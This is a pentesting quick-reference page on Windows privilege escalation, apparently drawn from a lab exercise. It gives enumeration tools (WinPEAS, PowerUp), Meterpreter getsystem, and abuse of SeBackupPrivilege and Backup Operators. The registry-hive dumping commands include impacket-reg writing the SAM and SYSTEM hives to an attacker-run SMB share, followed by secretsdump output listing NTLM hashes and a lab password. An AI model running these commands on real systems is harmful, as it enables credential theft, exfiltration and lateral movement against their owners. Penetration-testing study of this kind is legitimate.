> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc.md). # Windows Priv esc ### Check if we are admin

### Living of the land GTFO Bins for Windows {% embed url="" %} ### Enumeration with Winpeas ``` wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/a17f91745cafc5fa43a428d766294190c0ff70a1/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe ``` ### Enumeration with powerup.ps1 ``` https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 ``` upload the script with metasploit ``` upload /root/PowerSploit/Privesc/PowerUp.ps1 ```

Now run the script with Powershell ``` load Powershell powershell_shell .\PowerUp.ps1 Invoke-Allchecks ```

### Getsystem Meterpreter Good easy win {% embed url="" %}

### **Abusing the SeBackupPrivilege** Running the `whoami /priv` command reveals that the **H.Grangon** account holds the **SeBackupPrivilege**. This privilege allows a user to read any file on the system, even those with restricted permissions. You can abuse this to obtain the password hashes of local users. ``` whoami /priv ```

* **Commands:** `reg save hklm\sam C:\Users\\Desktop\sam` and `reg save hklm\system C:\Users\\Desktop\system` * **Purpose:** These commands save the `SAM` and `SYSTEM` registry hives to a file, which contain the local user hashes. * **Download:** Use the `evil-winrm` built-in `download` command to transfer these files to your Kali machine.

#### **Dumping & Reusing Hashes:** * **Tool:** The **`impacket-secretsdump`** script is used to extract the local hashes from the downloaded files. * **Command:** `impacket-secretsdump -sam -system local` ``` ┌──(kali㉿kali)-[~] └─$ impacket-secretsdump -sam sam -system system local Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0xf61a94fb13f74350a1f87f509c8c455c [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:520126a03f5d5a8d836f1c4f34ede7ce::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ```

* **Result:** The hashes for local users, including the `Administrator` account, are dumped. While the local administrator account is disabled, the hash itself can be used in a **password reuse** attack against other accounts in the domain. #### Example Initial Situation & Enumeration * **Current State:** Foothold established on the Windows workstation (`Wkst-01`) via RDP as the local `ghill_sa` user. * **Objective:** Elevate privileges and move laterally toward domain dominance. * **Key Discovery:** Running `net user ghill_sa` (or checking group memberships) revealed that the user belongs to the **Backup Operators** group. ```cmd # Enumerate local user properties and group memberships net user ghill_sa # Enumerate user privileges (look for SeBackupPrivilege) whoami /all ```

**Exploit Strategy: Backup Operators** * **Concept:** The Backup Operators group inherently possesses `SeBackupPrivilege`. This privilege allows users to bypass file permissions to back up critical system files, specifically the SAM, SYSTEM, and SECURITY registry hives. * **Objective:** Extract the registry hives locally or remotely to dump locally cached credential hashes (NTLM), including the local Administrator hash. ``` net user ghill_sa ```

**Attempt 1: Remote Extraction via NetExec (Failed)** * **Action:** Attempted to use the NetExec `-M backup_operator` module to remotely dump hashes. * **Result:** Failed (RPC/Network Name errors), likely due to the degraded environment constraints designed by the lab creator. ``` netexec smb 10.1.122.209 -u 'intranet_admin' -p 'Intra#Access' --local-auth -M backup_operator ```

**Attempt 2: Remote Extraction via Impacket (Failed)** * **Action:** Attempted remote dumping using `impacket-secretsdump`. ``` impacket-secretsdump 'ghill_sa:P@ssw0rd!@10.1.122.209' ```

* **Result:** Failed with `RPC access denied`, indicating strict remote execution constraints or missing interactive privileges. **Attempt 3: Local Extraction via Built-in Tools (Failed)** * **Action:** Attempted to save the hives locally via command prompt using `reg save`. * **Result:** Failed (`Access is denied`). Despite being in the group, the `SeBackupPrivilege` was present but *disabled* in the current token context (visible via `whoami /all`).

We can try opening elevated powershell When attempting to spawn an elevated command prompt, `UAC` prompted for the password of `ghill_sa`, which we already had:

Now we can dump the hashes ``` reg save HKLM\SAM "C:\users\ghill_sa\desktop\sam.save" reg save HKLM\SYSTEM "C:\users\ghill_sa\desktop\system.save" ```

Now copy it to kali. we should have some shared folder.

**Attempt 4: The Solution (Impacket's `reg.py`)** * **Strategy:** Using Impacket's `reg.py`, an attacker can remotely interact with the registry over SMB. By providing an attacker-controlled SMB share (using `impacket-smbserver`), the target can be coerced into saving the hives directly to the remote share. ```bash # Step 1: Set up a local SMB server on the attacker machine to receive the hives impacket-smbserver hacksmarter $(pwd) -smb2support # Step 2: Use reg.py to remotely save the hives from the target directly to the attacker's share impacket-reg ghill_sa:'P@ssw0rd!'@10.1.122.209 save -keyName 'HKLM\SYSTEM' -o '\\10.200.79.116\hacksmarter' ```

### Dumping the Hashes Once the `sam.save` and `system.save` hives were successfully exfiltrated to the attacker machine, Impacket's `secretsdump.py` was used to parse them locally. ```bash # Dump NTLM hashes from the extracted registry hives (Local parsing) impacket-secretsdump -sam sam.save -system system.save LOCAL ``` * **Result:** Successfully recovered the NTLM hash for the local **Administrator** account (and others). ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:d5cad8a9782b2879bf316f56936f1e36::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7490f2a63d713a813eda5bf8fd1a8227::: ghill_sa:1000:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b::: fin_user1:1001:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: hr_admin:1002:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: proj_mgr:1003:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: db_readonly:1004:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: audit_user:1005:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: payroll_clerk:1006:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: vpn_user:1007:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: intranet_admin:1008:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: inv_user:1009:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: training_user:1010:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: devops_user:1011:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: support_staff:1012:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: mktg_user:1013:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: sales_rep:1014:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: legal_user:1015:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: ops_mgr:1016:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: eng_user:1017:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: procure_user:1018:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: facilities_user:1019:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: research_user:1020:aad3b435b51404eeaad3b435b51404ee:5d9dc889caa181140f5ec16016ab3754::: bbarkinson:1021:aad3b435b51404eeaad3b435b51404ee:53c3709ae3d9f4428a230db81361ffbc::: ``` ### Windows compiled exploits {% embed url="" %} {% embed url="" %} ### Good Resources and Cheetsheets {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} TCM Course Resources {% endembed %}